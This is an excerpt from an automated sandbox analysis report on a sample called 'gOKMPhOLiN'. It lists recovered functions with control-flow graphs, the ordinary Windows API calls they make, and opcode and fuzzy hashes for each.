                                                                                control_flow_graph 293 7e57c78-7e57c79 294 7e57bfe-7e57c13 DrawTextExW 293->294 295 7e57c7b-7e57cc9 call 7e56b50 293->295 296 7e57c15-7e57c1b 294->296 297 7e57c1c-7e57c5e 294->297 302 7e57ce6-7e57ced 295->302 303 7e57ccb-7e57ce3 295->303 296->297 305 7e57cef-7e57d01 302->305 306 7e57d09-7e57d1b 302->306 305->306 307 7e57db5-7e57dfc call 7e56c10 306->307 308 7e57d21 306->308 316 7e57dfe-7e57e2f 307->316 309 7e57d24-7e57d50 308->309 312 7e57d52-7e57d5b 309->312 313 7e57d5d 309->313 315 7e57d5f-7e57d61 312->315 313->315 319 7e57d63-7e57d78 315->319 320 7e57d7b-7e57d83 315->320 317 7e57e65-7e57e79 316->317 318 7e57e31-7e57e62 316->318 317->316 325 7e57e7b-7e57e95 317->325 321 7e57d85-7e57d8e 320->321 322 7e57da8-7e57daf 320->322 321->322 324 7e57d90-7e57da5 321->324 322->307 322->309 326 7e57e97-7e57e9e 325->326 327 7e57e9f-7e57edc 325->327 330 7e57f26-7e57f71 327->330 331 7e57ede-7e57ef2 327->331 341 7e57f73-7e57f87 330->341 342 7e57fbf-7e58009 330->342 334 7e57ef4 331->334 335 7e57efb-7e57f23 331->335 334->335 335->330 345 7e57f90-7e57fbc 341->345 346 7e57f89 341->346 352 7e58057-7e5809f 342->352 353 7e5800b-7e5801f 342->353 345->342 346->345 363 7e580a1-7e580b5 352->363 364 7e580eb-7e58133 352->364 356 7e58021 353->356 357 7e58028-7e58054 353->357 356->357 357->352 367 7e580b7 363->367 368 7e580be-7e580e8 363->368 375 7e58139-7e5813c 364->375 376 7e581ca-7e581ce 364->376 367->368 368->364 377 7e58142-7e58165 375->377 378 7e5829a-7e582a1 375->378 379 7e58234-7e58260 376->379 380 7e581d0-7e581e6 376->380 385 7e58167-7e58169 377->385 386 7e5816b-7e5816f 377->386 387 7e58226-7e5822c 378->387 388 7e582a3-7e582a9 378->388 412 7e58267-7e58293 379->412 389 7e581ec-7e581f3 380->389 390 7e581e8-7e581ea 380->390 395 7e58186-7e58188 385->395 397 7e58171-7e58176 386->397 398 7e58178-7e58183 386->398 394 7e5822e-7e58233 387->394 388->394 396 7e582ab-7e582e0 388->396 392 7e581f5-7e581fa 389->392 393 7e581fc-7e5820d 389->393 391 7e58212-7e58214 390->391 402 7e58225 391->402 403 7e58216-7e5821d 391->403 392->391 393->391 400 7e58193-7e58197 395->400 401 7e5818a-7e58191 395->401 397->395 398->395 408 7e581a0-7e581b4 400->408 409 7e58199 400->409 401->408 402->387 403->378 410 7e5821f-7e58223 403->410 408->378 417 7e581ba-7e581c4 408->417 409->408 410->402 410->412 412->378 417->375 417->376
                                                                                APIs
                                                                                • DrawTextExW.USER32(?,?,?,?,?,?), ref: 07E57C03
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96646817252.0000000007E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E50000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7e50000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DrawText
                                                                                • String ID: K{e^$[{e^$k{e^${{e^
                                                                                • API String ID: 2175133113-2849644878
                                                                                • Opcode ID: c1f93fb50cbb1fe1cddc6260d3c47524e6157b4dd1b853bfd4cea5e2c0233d74
                                                                                • Instruction ID: aefd0f624b3c1478e5ff122aa4dfd25e6a100f51a068d210c55f139327ceab0f
                                                                                • Opcode Fuzzy Hash: c1f93fb50cbb1fe1cddc6260d3c47524e6157b4dd1b853bfd4cea5e2c0233d74
                                                                                • Instruction Fuzzy Hash: 21226E71A0520EDFCB10DFA8D98069EB7F2FF89314F158529D909AB301EB31AD46CB91
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCD47F Relevance: 1.7, APIs: 1, Instructions: 235COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 809 2ccd47f-2ccd49f 810 2ccd4cb-2ccd4cf 809->810 811 2ccd4a1-2ccd4ae call 2ccbd78 809->811 813 2ccd4d1-2ccd4db 810->813 814 2ccd4e3-2ccd524 810->814 816 2ccd4c4 811->816 817 2ccd4b0 811->817 813->814 820 2ccd526-2ccd52e 814->820 821 2ccd531-2ccd53f 814->821 816->810 868 2ccd4b6 call 2ccd760 817->868 869 2ccd4b6 call 2ccd770 817->869 820->821 822 2ccd541-2ccd546 821->822 823 2ccd563-2ccd565 821->823 825 2ccd548-2ccd54f call 2ccce84 822->825 826 2ccd551 822->826 828 2ccd568-2ccd56f 823->828 824 2ccd4bc-2ccd4be 824->816 827 2ccd600-2ccd6d1 824->827 830 2ccd553-2ccd561 825->830 826->830 860 2ccd6e5-2ccd722 GetModuleHandleW 827->860 861 2ccd6d3-2ccd6e2 827->861 831 2ccd57c-2ccd583 828->831 832 2ccd571-2ccd579 828->832 830->828 834 2ccd585-2ccd58d 831->834 835 2ccd590-2ccd599 call 2ccce94 831->835 832->831 834->835 840 2ccd59b-2ccd5a3 835->840 841 2ccd5a6-2ccd5ab 835->841 840->841 842 2ccd5ad-2ccd5b4 841->842 843 2ccd5c9-2ccd5cd 841->843 842->843 845 2ccd5b6-2ccd5c6 call 2cccea4 call 2ccceb4 842->845 866 2ccd5d0 call 2ccdaf0 843->866 867 2ccd5d0 call 2ccdb00 843->867 845->843 848 2ccd5d3-2ccd5d6 850 2ccd5d8-2ccd5f6 848->850 851 2ccd5f9-2ccd5ff 848->851 850->851 862 2ccd72b-2ccd759 860->862 863 2ccd724-2ccd72a 860->863 861->860 863->862 866->848 867->848 868->824 869->824
                                                                                APIs
                                                                                • GetModuleHandleW.KERNELBASE(?), ref: 02CCD712
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: HandleModule
                                                                                • String ID:
                                                                                • API String ID: 4139908857-0
                                                                                • Opcode ID: 561bcaa54f4ac169906e40ec7f8a220b26aa38fe54c81302a970f52e11cc1164
                                                                                • Instruction ID: 8ba15b4c65c633350551adfff1eb9ebc90eb89518a3deb2d4ff2c157d0cdf9bf
                                                                                • Opcode Fuzzy Hash: 561bcaa54f4ac169906e40ec7f8a220b26aa38fe54c81302a970f52e11cc1164
                                                                                • Instruction Fuzzy Hash: 3B91F5B0A00B499FDB24DF69D544B9ABBF1BB88304F14892EE44AE7750DB34E945CB90
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07E57B00 Relevance: 1.6, APIs: 1, Instructions: 147COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 870 7e57b00-7e57b01 871 7e57a86-7e57abe 870->871 872 7e57b03-7e57b62 870->872 875 7e57b64-7e57b73 872->875 876 7e57b76-7e57bac 872->876 875->876 877 7e57bb2-7e57c13 DrawTextExW 876->877 878 7e57bae 876->878 879 7e57c15-7e57c1b 877->879 880 7e57c1c-7e57c5e 877->880 878->877 879->880
                                                                                APIs
                                                                                • DrawTextExW.USER32(?,?,?,?,?,?), ref: 07E57C03
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96646817252.0000000007E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E50000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7e50000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DrawText
                                                                                • String ID:
                                                                                • API String ID: 2175133113-0
                                                                                • Opcode ID: 8227e067073dbdf4ce4142c062b0fdb9706250d21c5b8301e5cb363715e46a0f
                                                                                • Instruction ID: 7e4cee491152326eb71622e83f9fca7955e9ad0e9aab66a84fff2ad0341323a6
                                                                                • Opcode Fuzzy Hash: 8227e067073dbdf4ce4142c062b0fdb9706250d21c5b8301e5cb363715e46a0f
                                                                                • Instruction Fuzzy Hash: 015199B5D012599FCB10CFA9D884ADEFBF1BB49310F24912AE828BB251D334A956CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC60EC Relevance: 1.6, APIs: 1, Instructions: 126COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 884 2cc60ec-2cc773c CreateActCtxA 889 2cc773e-2cc7744 884->889 890 2cc7745-2cc77ca 884->890 889->890 899 2cc77cc-2cc77ef 890->899 900 2cc77f7-2cc77ff 890->900 899->900 903 2cc7800 900->903 903->903
                                                                                APIs
                                                                                • CreateActCtxA.KERNEL32(?), ref: 02CC7729
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Create
                                                                                • String ID:
                                                                                • API String ID: 2289755597-0
                                                                                • Opcode ID: c0e39e2df0c8a351f6a82c7be5fe22e90e06b4a83567ad85a88b66456c0f2c26
                                                                                • Instruction ID: 54549be7a684d8ed11247dfb2c6da13d53f4a3001acd4cc1f1b64150b00667d5
                                                                                • Opcode Fuzzy Hash: c0e39e2df0c8a351f6a82c7be5fe22e90e06b4a83567ad85a88b66456c0f2c26
                                                                                • Instruction Fuzzy Hash: AF51E670D0421CCFDB21DFA5C984BDEBBB5BF46304F1180AAD509AB251DB716A49CF91
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CC762D Relevance: 1.6, APIs: 1, Instructions: 126COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 905 2cc762d-2cc76ce 907 2cc76d5-2cc773c CreateActCtxA 905->907 909 2cc773e-2cc7744 907->909 910 2cc7745-2cc77ca 907->910 909->910 919 2cc77cc-2cc77dc 910->919 920 2cc77f7-2cc77ff 910->920 924 2cc77e3-2cc77ef 919->924 923 2cc7800 920->923 923->923 924->920
                                                                                APIs
                                                                                • CreateActCtxA.KERNEL32(?), ref: 02CC7729
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Create
                                                                                • String ID:
                                                                                • API String ID: 2289755597-0
                                                                                • Opcode ID: 0f2a03fe052912d80cf5723224ba53bdb7f340e2e564f4cf197cf4b49784529e
                                                                                • Instruction ID: 44c6920a09f84b9a3f2958d62681ab49fd88df3f997ed3a3bcc5108e7a60d53e
                                                                                • Opcode Fuzzy Hash: 0f2a03fe052912d80cf5723224ba53bdb7f340e2e564f4cf197cf4b49784529e
                                                                                • Instruction Fuzzy Hash: CC510770D0421CCFDB25CFA5C984BDEBBB5BF4A304F2180AAD109AB251DB315A89CF91
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07E57B08 Relevance: 1.6, APIs: 1, Instructions: 126COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 925 7e57b08-7e57b62 926 7e57b64-7e57b73 925->926 927 7e57b76-7e57bac 925->927 926->927 928 7e57bb2-7e57c13 DrawTextExW 927->928 929 7e57bae 927->929 930 7e57c15-7e57c1b 928->930 931 7e57c1c-7e57c5e 928->931 929->928 930->931
                                                                                APIs
                                                                                • DrawTextExW.USER32(?,?,?,?,?,?), ref: 07E57C03
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96646817252.0000000007E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E50000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7e50000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DrawText
                                                                                • String ID:
                                                                                • API String ID: 2175133113-0
                                                                                • Opcode ID: c014b04af30d81809807b129822e32e9ddd1b506a4590a6dfddb7cbe6b850623
                                                                                • Instruction ID: 415d4ae83b838a2dc40a8a29bb9dbadc45ab5cb23f0df21f13d70a757fe76362
                                                                                • Opcode Fuzzy Hash: c014b04af30d81809807b129822e32e9ddd1b506a4590a6dfddb7cbe6b850623
                                                                                • Instruction Fuzzy Hash: 185155B4D0125D9FCB10CFA9D984ADEFBF1BB09314F24902AE819BB221D335A985CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3B479 Relevance: 1.6, APIs: 1, Instructions: 118COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 935 7f3b479-7f3b507 937 7f3b51b-7f3b539 935->937 938 7f3b509-7f3b518 935->938 939 7f3b53b 937->939 940 7f3b53f-7f3b598 GetClassInfoW 937->940 938->937 939->940 941 7f3b5a1-7f3b5d9 940->941 942 7f3b59a-7f3b5a0 940->942 942->941
                                                                                APIs
                                                                                • GetClassInfoW.USER32(?,?,?), ref: 07F3B588
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ClassInfo
                                                                                • String ID:
                                                                                • API String ID: 3534257612-0
                                                                                • Opcode ID: 3442b541e34d371d412486a9efeb2b4de7a45cbf0adf888f8e15253b8b7e11ce
                                                                                • Instruction ID: 017aa0101317b9ade2f98f1a94599c0cad90caaebd3cb11e81e1d6127972daa9
                                                                                • Opcode Fuzzy Hash: 3442b541e34d371d412486a9efeb2b4de7a45cbf0adf888f8e15253b8b7e11ce
                                                                                • Instruction Fuzzy Hash: 9D51BBB5D043989FDB15CFA9C484ADDBFF1BF09314F1880AAE448AB251D334A949CF60
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F37300 Relevance: 1.6, APIs: 1, Instructions: 114COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 945 7f37300-7f37323 call 7f36974 948 7f37325-7f3732e 945->948 949 7f3733d-7f37341 945->949 950 7f37330-7f37336 948->950 951 7f37344-7f37407 SetWindowRgn 948->951 950->949 954 7f37410-7f3743e 951->954 955 7f37409-7f3740f 951->955 955->954
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: Window
                                                                                • String ID:
                                                                                • API String ID: 2353593579-0
                                                                                • Opcode ID: 121305507ec62495e58782d3e05163debf57267ddd74ff9aad0d7a578b56b150
                                                                                • Instruction ID: a207c5ea28a928dceb4631a8febe1c203a8c02f07bd81941e71e722c4406d9bf
                                                                                • Opcode Fuzzy Hash: 121305507ec62495e58782d3e05163debf57267ddd74ff9aad0d7a578b56b150
                                                                                • Instruction Fuzzy Hash: 4D41FEB5D01259DFCB10DFA9D884ADEBBF4FB49310F18846AE904AB221D335A941CFA0
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F397C8 Relevance: 1.6, APIs: 1, Instructions: 111windowCOMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 965 7f397c8-7f397cc 966 7f39779 965->966 967 7f397ce-7f3987b SendMessageW 965->967 968 7f3977b-7f397a7 call 7f36b80 966->968 969 7f397ac-7f397ba 966->969 972 7f39884-7f398b6 967->972 973 7f3987d-7f39883 967->973 968->969 973->972
                                                                                APIs
                                                                                • SendMessageW.USER32(?,?,?,?), ref: 07F3986B
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessageSend
                                                                                • String ID:
                                                                                • API String ID: 3850602802-0
                                                                                • Opcode ID: 3856312262441a750f6afcb612e01b5b092699dab6de023612bb35ace9eefc74
                                                                                • Instruction ID: f9d5ee50c462ea2de0fdeb6fcee5e96198b1d3388eec2cf6161bbee6ad55166b
                                                                                • Opcode Fuzzy Hash: 3856312262441a750f6afcb612e01b5b092699dab6de023612bb35ace9eefc74
                                                                                • Instruction Fuzzy Hash: 1441ABB5D012089FCB10CFA9D884ADEFBB5FF89314F18906AE818B7210D774A9458FA5
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCF0E8 Relevance: 1.6, APIs: 1, Instructions: 111COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 958 2ccf0e8-2ccfb73 DuplicateHandle 960 2ccfb7c-2ccfbbc 958->960 961 2ccfb75-2ccfb7b 958->961 961->960
                                                                                APIs
                                                                                • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02CCFB63
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DuplicateHandle
                                                                                • String ID:
                                                                                • API String ID: 3793708945-0
                                                                                • Opcode ID: 1b1a795b3de3f721d989d0cd5737733156f7c6f00347849455e63549fb3178b0
                                                                                • Instruction ID: 40610d3a5109fd890dd451d007d1b28175843f4f9f38238ffecdfac01c54ea3b
                                                                                • Opcode Fuzzy Hash: 1b1a795b3de3f721d989d0cd5737733156f7c6f00347849455e63549fb3178b0
                                                                                • Instruction Fuzzy Hash: 414177B9D002589FCF10CFA9D984ADEFBF5BB49310F24906AE918AB311D335A945CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCFA90 Relevance: 1.6, APIs: 1, Instructions: 108COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 977 2ccfa90-2ccfb73 DuplicateHandle 978 2ccfb7c-2ccfbbc 977->978 979 2ccfb75-2ccfb7b 977->979 979->978
                                                                                APIs
                                                                                • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02CCFB63
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DuplicateHandle
                                                                                • String ID:
                                                                                • API String ID: 3793708945-0
                                                                                • Opcode ID: 9a3da56991b2ddf8e526a398a35a0f9c3e3a04e876b6d920d78137d410de3ef3
                                                                                • Instruction ID: 1d6e5f1b66824691d25212a17d4cd7f1383b2cc17e58c782645643496bf5e502
                                                                                • Opcode Fuzzy Hash: 9a3da56991b2ddf8e526a398a35a0f9c3e3a04e876b6d920d78137d410de3ef3
                                                                                • Instruction Fuzzy Hash: 884156B9D012589FCB00CFA9D984ADEBBF5BF49310F14906AE918BB211D335A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3D241 Relevance: 1.6, APIs: 1, Instructions: 105windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • PostMessageW.USER32(?,?,?,?), ref: 07F3D303
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessagePost
                                                                                • String ID:
                                                                                • API String ID: 410705778-0
                                                                                • Opcode ID: 8881a539070ad69b7cde26d0dd9c2b71f1b5de1a992c55c5e5d3edd266ec2910
                                                                                • Instruction ID: 02bcdc3dbeaa1550fe68dc1597b1586f8fa754f03edb63bc170641026f869e02
                                                                                • Opcode Fuzzy Hash: 8881a539070ad69b7cde26d0dd9c2b71f1b5de1a992c55c5e5d3edd266ec2910
                                                                                • Instruction Fuzzy Hash: E741F1B5D09248DFCB11CFA9D845ADDFFB4BF4A310F14805AE854AB261C338A945CF61
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCCEC8 Relevance: 1.6, APIs: 1, Instructions: 104libraryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • LoadLibraryExW.KERNELBASE(?,?,?), ref: 02CCDA22
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: LibraryLoad
                                                                                • String ID:
                                                                                • API String ID: 1029625771-0
                                                                                • Opcode ID: 4a0ac0e6734bb8ba11f0bfba9e60ad3749efecf6e74feb502ff17b434a090101
                                                                                • Instruction ID: 359410d1b0d37eba89eb60abd4519640f3e5fb43f761421a375015a9ce31e283
                                                                                • Opcode Fuzzy Hash: 4a0ac0e6734bb8ba11f0bfba9e60ad3749efecf6e74feb502ff17b434a090101
                                                                                • Instruction Fuzzy Hash: 2441CAB5D052489FCB10CFAAD484ADEFBF1AB59310F14906AE859BB321D334A945CFA4
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07F3B4B0 Relevance: 1.6, APIs: 1, Instructions: 103COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • GetClassInfoW.USER32(?,?,?), ref: 07F3B588
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96648138607.0000000007F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F30000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_7f30000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: ClassInfo
                                                                                • String ID:
                                                                                • API String ID: 3534257612-0
                                                                                • Opcode ID: eb3d1fc4f7e468d463d2151b10a6ff4c9498c3e16670555400b5b64494f20256
                                                                                • Instruction ID: 163f6a9f03179c2d788bdc7584e114349dbe467a952df662140a2087fd068763
                                                                                • Opcode Fuzzy Hash: eb3d1fc4f7e468d463d2151b10a6ff4c9498c3e16670555400b5b64494f20256
                                                                                • Instruction Fuzzy Hash: E04166B5D002599FCB10CFA9D584ADDFBF5BB49314F14802AE818BB250D374AA85CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C65EF0 Relevance: 1.6, APIs: 1, Instructions: 99windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • PeekMessageW.USER32(?,?,?,?,?), ref: 09C680F3
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessagePeek
                                                                                • String ID:
                                                                                • API String ID: 2222842502-0
                                                                                • Opcode ID: 5ec0d760fc3f7952d94d278dc43b2968f97bf86bbc0f70e1c52b0e9461c5a0f7
                                                                                • Instruction ID: d9a844e9259f99e829823f8932be4fb72516af967c7cb4236554f5f5b4ad284b
                                                                                • Opcode Fuzzy Hash: 5ec0d760fc3f7952d94d278dc43b2968f97bf86bbc0f70e1c52b0e9461c5a0f7
                                                                                • Instruction Fuzzy Hash: A33197B9D042589FCF10CFAAE884ADEFBB1BB19310F14902AE915B7220D335A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C68044 Relevance: 1.6, APIs: 1, Instructions: 98windowCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • PeekMessageW.USER32(?,?,?,?,?), ref: 09C680F3
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: MessagePeek
                                                                                • String ID:
                                                                                • API String ID: 2222842502-0
                                                                                • Opcode ID: 9a256c7f114b42095c6d51c4b45f18aa3885970edeaaf08f5dec320913998ee4
                                                                                • Instruction ID: bde4c7d22c2933fa0f16b9ce1b5f890f27a938bd486354cd9987dc3f7b778e4d
                                                                                • Opcode Fuzzy Hash: 9a256c7f114b42095c6d51c4b45f18aa3885970edeaaf08f5dec320913998ee4
                                                                                • Instruction Fuzzy Hash: AB3188B9D042589FCF10CFA9E984ADEFBF1BB59310F14902AE915B7220D335A945CF64
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCCEE0 Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • LoadLibraryExW.KERNELBASE(?,?,?), ref: 02CCDA22
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: LibraryLoad
                                                                                • String ID:
                                                                                • API String ID: 1029625771-0
                                                                                • Opcode ID: 7abfa3bc68b6d21cdba7e9c2f57ff5fc59f1ed02303b3b5a5af9025aaf838f7c
                                                                                • Instruction ID: b176580ee98e99b4375caa937edbd405758f629a85340bfac79479bae39d7746
                                                                                • Opcode Fuzzy Hash: 7abfa3bc68b6d21cdba7e9c2f57ff5fc59f1ed02303b3b5a5af9025aaf838f7c
                                                                                • Instruction Fuzzy Hash: EE4197B8D04258DFCB10CFAAD484A9EFBF5BB49314F14906AE819B7220D734A945CF94
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCD971 Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                • LoadLibraryExW.KERNELBASE(?,?,?), ref: 02CCDA22
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: LibraryLoad
                                                                                • String ID:
                                                                                • API String ID: 1029625771-0
                                                                                • Opcode ID: 1c26e449fb7e0e60c053a2e5ecbcb7794efe8fa6487fb3ed7923d9fd85414094
                                                                                • Instruction ID: ea790eca87eb05bdeddac78a67176a258ed8c2145ca872ec7490d3de52c45523
                                                                                • Opcode Fuzzy Hash: 1c26e449fb7e0e60c053a2e5ecbcb7794efe8fa6487fb3ed7923d9fd85414094
                                                                                • Instruction Fuzzy Hash: AA4197B4D042589FCB10CFAAD884A9EFBF5FB49314F14906AE819B7320D734A945CF54
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 02CCA858 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                Download Yara Rule
                                                                                APIs
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: FindWindow
                                                                                • String ID:
                                                                                • API String ID: 134000473-0
                                                                                • Opcode ID: 443d4c8c36e96dfe237a0ef5c4c9aa7d7ce0ecf4aeffbcff6ba9de6f943cd9e9
                                                                                • Instruction ID: 481b000c8e9774e61161e4b5e157e7fc9eec8d8e687b7673632f12b210697f44
                                                                                • Opcode Fuzzy Hash: 443d4c8c36e96dfe237a0ef5c4c9aa7d7ce0ecf4aeffbcff6ba9de6f943cd9e9
